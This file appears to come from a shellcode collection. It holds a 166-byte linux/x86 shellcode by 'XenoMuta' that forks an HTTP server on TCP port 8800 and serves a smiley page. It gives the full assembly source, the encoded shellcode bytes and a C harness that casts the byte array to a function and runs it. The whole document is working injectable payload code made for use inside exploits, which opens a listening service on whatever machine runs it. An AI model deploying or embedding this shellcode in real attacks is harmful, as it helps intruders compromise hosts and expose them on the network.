/* _ __ __ ___ __ | |/ /__ ____ ____ / |/ /_ __/ /_____ _ | / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/ / / __/ / / / /_/ / / / / /_/ / /_/ /_/ / /_/|_\___/_/ /_/\____/_/ /_/\__,_/\__/\__,_/ xenomuta\x40phreaker\x2enet http://xenomuta.tuxfamily.org/ - Methylxantina 256mg Description: a linux/x86 shellcode that forks a HTTP Server on port tcp/8800 OS: Linux Arch: x86 Length: 166 bytes Author: XenoMuta hola at: str0k3, garay, fr1t0l4y, emra. - God bless you all - ==== SOURCE CODE ==== .globl _start _start: xor %eax, %eax mov $0x02, %al int $0x80 test %eax, %eax jz socket xor %eax, %eax incb %al int $0x80 txt: pop %ecx movb $27, %dl int $0x80 close: movb $0x6, %al mov %esi, %ebx int $0x80 exit: mov $0x01, %al xor %ebx, %ebx int $0x80 socketcall: pop %esi mov $0x66, %al incb %bl mov %esp, %ecx int $0x80 jmp *%esi socket: cltd xor %eax, %eax xor %ebx, %ebx push $0x6 push $0x1 push $0x2 call socketcall bind: mov %eax, %edi xor %edx, %edx push %edx pushw $0x6022 pushw %bx mov %esp, %ecx push $0x10 push %ecx push %edi call socketcall listen: inc %bl push $0x05 push %edi call socketcall accept: xor %ecx, %ecx push %edx push %edx push %edi call socketcall fork: mov %eax, %esi xor %eax, %eax mov $0x02, %al int $0x80 test %eax, %eax jz write xor %eax, %eax mov $0x06, %al mov %esi, %ebx int $0x80 xor %eax, %eax xor %ebx, %ebx mov $0x04, %bl jmp accept write: mov %esi, %ebx mov $0x04, %al call txt .string "HTTP/1.0 200\r\n\r\n<h1>:)</h1>" ==== SOURCE CODE ==== */ char shellcode[] = "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x22\x31\xc0\xfe\xc0\xcd\x80\x59\xb2\x1b\xcd\x80\xb0\x06\x89\xf3\xcd\x80\xb0\x01\x31\xdb\xcd\x80\x5e\xb0\x66\xfe\xc3\x89\xe1\xcd\x80\xff\xe6\x99\x31\xc0\x31\xdb\x6a\x06\x6a\x01\x6a\x02\xe8\xe5\xff\xff\xff\x89\xc7\x31\xd2\x52\x66\x68\x22\x60\x66\x53\x89\xe1\x6a\x10\x51\x57\xe8\xcf\xff\xff\xff\xfe\xc3\x6a\x05\x57\xe8\xc5\xff\xff\xff\x31\xc9\x52\x52\x57\xe8\xbb\xff\xff\xff\x89\xc6\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x10\x31\xc0\xb0\x06\x89\xf3\xcd\x80\x31\xc0\x31\xdb\xb3\x04\xeb\xda\x89\xf3\xb0\x04\xe8\x85\xff\xff\xff\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32\x30\x30\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x3a\x29\x3c\x2f\x68\x31\x3e"; int main () { printf("Length: %d bytes\n", strlen(shellcode)); int (*sc)() = (int (*)())shellcode; sc(); return 0; }